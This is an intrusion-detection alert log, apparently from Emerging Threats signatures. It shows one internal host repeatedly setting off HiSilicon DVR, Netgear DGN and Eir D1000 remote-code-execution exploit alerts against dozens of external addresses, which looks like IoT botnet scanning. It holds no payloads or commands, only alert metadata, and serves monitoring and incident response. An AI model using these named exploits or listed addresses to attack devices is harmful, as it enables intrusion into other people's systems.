ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 145.230.65.170

Timestamp:	05/16/24-16:39:12.295409
SID:	2030487
Source Port:	46416
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.45.45.248

Timestamp:	05/16/24-16:39:14.525670
SID:	2030488
Source Port:	57470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 89.83.16.175

Timestamp:	05/16/24-16:39:01.480548
SID:	2029215
Source Port:	37344
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.45.45.248

Timestamp:	05/16/24-16:39:14.525670
SID:	2030487
Source Port:	57470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.225.119.1

Timestamp:	05/16/24-16:38:57.443756
SID:	2030487
Source Port:	46790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.225.119.1

Timestamp:	05/16/24-16:38:57.443756
SID:	2030488
Source Port:	46790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.137.2.156

Timestamp:	05/16/24-16:38:57.435635
SID:	2030488
Source Port:	38652
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.137.2.156

Timestamp:	05/16/24-16:38:57.435635
SID:	2030487
Source Port:	38652
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.216.226.145

Timestamp:	05/16/24-16:39:12.304040
SID:	2030487
Source Port:	47424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.47.52.11

Timestamp:	05/16/24-16:39:02.762990
SID:	2030488
Source Port:	50320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.47.52.11

Timestamp:	05/16/24-16:39:02.762990
SID:	2030487
Source Port:	50320
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.216.226.145

Timestamp:	05/16/24-16:39:12.304040
SID:	2030488
Source Port:	47424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.116.13.249

Timestamp:	05/16/24-16:39:12.298141
SID:	2030488
Source Port:	53664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.116.13.249

Timestamp:	05/16/24-16:39:12.298141
SID:	2030487
Source Port:	53664
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.173.92.190

Timestamp:	05/16/24-16:38:50.047560
SID:	2030488
Source Port:	51000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.173.92.190

Timestamp:	05/16/24-16:38:50.047560
SID:	2030487
Source Port:	51000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.241.129.64

Timestamp:	05/16/24-16:38:50.069075
SID:	2030487
Source Port:	48914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.241.129.64

Timestamp:	05/16/24-16:38:50.069075
SID:	2030488
Source Port:	48914
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 24.160.198.68

Timestamp:	05/16/24-16:38:53.410286
SID:	2029215
Source Port:	57020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.115.193.62

Timestamp:	05/16/24-16:38:53.086062
SID:	2030488
Source Port:	55712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.115.193.62

Timestamp:	05/16/24-16:38:53.086062
SID:	2030487
Source Port:	55712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.51.122.36

Timestamp:	05/16/24-16:39:05.717044
SID:	2030488
Source Port:	58552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.87.170.136

Timestamp:	05/16/24-16:39:12.295397
SID:	2030488
Source Port:	45730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.51.122.36

Timestamp:	05/16/24-16:39:05.717044
SID:	2030487
Source Port:	58552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.87.170.136

Timestamp:	05/16/24-16:39:12.295397
SID:	2030487
Source Port:	45730
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.232.148.53

Timestamp:	05/16/24-16:39:03.256880
SID:	2030488
Source Port:	53626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.232.148.53

Timestamp:	05/16/24-16:39:03.256880
SID:	2030487
Source Port:	53626
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.149.49.44

Timestamp:	05/16/24-16:38:50.047775
SID:	2030488
Source Port:	43114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 213.47.195.110

Timestamp:	05/16/24-16:38:49.277196
SID:	2034576
Source Port:	49912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.149.49.44

Timestamp:	05/16/24-16:38:50.047775
SID:	2030487
Source Port:	43114
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.253.56.82

Timestamp:	05/16/24-16:39:08.127951
SID:	2030488
Source Port:	60096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.253.56.82

Timestamp:	05/16/24-16:39:08.127951
SID:	2030487
Source Port:	60096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.147.59.219

Timestamp:	05/16/24-16:38:59.589138
SID:	2030488
Source Port:	38540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.147.59.219

Timestamp:	05/16/24-16:38:59.589138
SID:	2030487
Source Port:	38540
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.113.47.190

Timestamp:	05/16/24-16:39:05.698695
SID:	2030487
Source Port:	48300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 147.113.47.190

Timestamp:	05/16/24-16:39:05.698695
SID:	2030488
Source Port:	48300
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.44.80.212

Timestamp:	05/16/24-16:39:02.726877
SID:	2030488
Source Port:	49396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.44.80.212

Timestamp:	05/16/24-16:39:02.726877
SID:	2030487
Source Port:	49396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 36.38.133.222

Timestamp:	05/16/24-16:39:03.260958
SID:	2030488
Source Port:	50580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 36.38.133.222

Timestamp:	05/16/24-16:39:03.260958
SID:	2030487
Source Port:	50580
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.39.98.194

Timestamp:	05/16/24-16:39:14.492276
SID:	2030488
Source Port:	51312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.39.98.194

Timestamp:	05/16/24-16:39:14.492276
SID:	2030487
Source Port:	51312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.112.232.95

Timestamp:	05/16/24-16:39:02.725595
SID:	2030488
Source Port:	46340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.112.232.95

Timestamp:	05/16/24-16:39:02.725595
SID:	2030487
Source Port:	46340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.0.75.39

Timestamp:	05/16/24-16:38:53.065510
SID:	2030488
Source Port:	37004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.0.75.39

Timestamp:	05/16/24-16:38:53.065510
SID:	2030487
Source Port:	37004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.91.69.155

Timestamp:	05/16/24-16:39:16.579359
SID:	2030488
Source Port:	44316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.91.69.155

Timestamp:	05/16/24-16:39:16.579359
SID:	2030487
Source Port:	44316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.26.103.0

Timestamp:	05/16/24-16:38:55.196570
SID:	2030487
Source Port:	55688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.77.159.173

Timestamp:	05/16/24-16:38:55.212345
SID:	2030488
Source Port:	33190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.77.159.173

Timestamp:	05/16/24-16:38:55.212345
SID:	2030487
Source Port:	33190
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.26.103.0

Timestamp:	05/16/24-16:38:55.196570
SID:	2030488
Source Port:	55688
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.11.95.232

Timestamp:	05/16/24-16:38:50.076377
SID:	2030487
Source Port:	48296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.11.95.232

Timestamp:	05/16/24-16:38:50.076377
SID:	2030488
Source Port:	48296
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.119.251.1

Timestamp:	05/16/24-16:39:05.706952
SID:	2030488
Source Port:	52864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.119.251.1

Timestamp:	05/16/24-16:39:05.706952
SID:	2030487
Source Port:	52864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.168.203.171

Timestamp:	05/16/24-16:39:12.400829
SID:	2030488
Source Port:	47364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.45.15.178

Timestamp:	05/16/24-16:39:16.577676
SID:	2030488
Source Port:	55676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.168.203.171

Timestamp:	05/16/24-16:39:12.400829
SID:	2030487
Source Port:	47364
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.45.15.178

Timestamp:	05/16/24-16:39:16.577676
SID:	2030487
Source Port:	55676
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.214.128.171

Timestamp:	05/16/24-16:38:55.192607
SID:	2030487
Source Port:	52790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.1.211.245

Timestamp:	05/16/24-16:39:08.047714
SID:	2030487
Source Port:	55778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.1.211.245

Timestamp:	05/16/24-16:39:08.047714
SID:	2030488
Source Port:	55778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 99.27.123.184

Timestamp:	05/16/24-16:39:05.676404
SID:	2030487
Source Port:	59620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 154.141.120.120

Timestamp:	05/16/24-16:39:09.569983
SID:	2034576
Source Port:	35132
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 99.27.123.184

Timestamp:	05/16/24-16:39:05.676404
SID:	2030488
Source Port:	59620
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 223.160.162.32

Timestamp:	05/16/24-16:39:06.111880
SID:	2023548
Source Port:	48500
Destination Port:	5555
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.214.128.171

Timestamp:	05/16/24-16:38:55.192607
SID:	2030488
Source Port:	52790
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.78.148.27

Timestamp:	05/16/24-16:38:57.439239
SID:	2030487
Source Port:	53166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.241.114.221

Timestamp:	05/16/24-16:38:59.587437
SID:	2030487
Source Port:	34072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.78.148.27

Timestamp:	05/16/24-16:38:57.439239
SID:	2030488
Source Port:	53166
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.241.114.221

Timestamp:	05/16/24-16:38:59.587437
SID:	2030488
Source Port:	34072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.29.27.215

Timestamp:	05/16/24-16:39:14.507435
SID:	2030488
Source Port:	50966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.29.27.215

Timestamp:	05/16/24-16:39:14.507435
SID:	2030487
Source Port:	50966
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.78.185.142

Timestamp:	05/16/24-16:39:16.602154
SID:	2030487
Source Port:	39382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.163.148.214

Timestamp:	05/16/24-16:39:05.713027
SID:	2030487
Source Port:	57538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.78.185.142

Timestamp:	05/16/24-16:39:16.602154
SID:	2030488
Source Port:	39382
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.163.148.214

Timestamp:	05/16/24-16:39:05.713027
SID:	2030488
Source Port:	57538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.165.108.231

Timestamp:	05/16/24-16:38:50.052149
SID:	2030487
Source Port:	47104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.165.108.231

Timestamp:	05/16/24-16:38:50.052149
SID:	2030488
Source Port:	47104
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.106.153.220

Timestamp:	05/16/24-16:39:03.281755
SID:	2030488
Source Port:	35322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.106.153.220

Timestamp:	05/16/24-16:39:03.281755
SID:	2030487
Source Port:	35322
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.180.158.73

Timestamp:	05/16/24-16:39:05.677743
SID:	2030488
Source Port:	50350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.205.153.51

Timestamp:	05/16/24-16:38:50.047568
SID:	2030488
Source Port:	41162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.205.153.51

Timestamp:	05/16/24-16:38:50.047568
SID:	2030487
Source Port:	41162
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.129.152.252

Timestamp:	05/16/24-16:39:08.146107
SID:	2030488
Source Port:	36226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.129.152.252

Timestamp:	05/16/24-16:39:08.146107
SID:	2030487
Source Port:	36226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.46.238.195

Timestamp:	05/16/24-16:39:12.400928
SID:	2030487
Source Port:	47316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.46.238.195

Timestamp:	05/16/24-16:39:12.400928
SID:	2030488
Source Port:	47316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.180.158.73

Timestamp:	05/16/24-16:39:05.677743
SID:	2030487
Source Port:	50350
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 105.218.116.113

Timestamp:	05/16/24-16:39:12.301092
SID:	2030488
Source Port:	50284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 105.218.116.113

Timestamp:	05/16/24-16:39:12.301092
SID:	2030487
Source Port:	50284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.102.59.254

Timestamp:	05/16/24-16:39:03.277926
SID:	2030488
Source Port:	46470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.102.59.254

Timestamp:	05/16/24-16:39:03.277926
SID:	2030487
Source Port:	46470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 50.205.178.97

Timestamp:	05/16/24-16:39:14.527582
SID:	2030488
Source Port:	38722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 50.205.178.97

Timestamp:	05/16/24-16:39:14.527582
SID:	2030487
Source Port:	38722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.128.131.11

Timestamp:	05/16/24-16:39:05.693235
SID:	2030487
Source Port:	42726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.4.9.209

Timestamp:	05/16/24-16:38:57.302530
SID:	2030487
Source Port:	43578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.95.96.198

Timestamp:	05/16/24-16:39:02.768667
SID:	2030487
Source Port:	35274
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

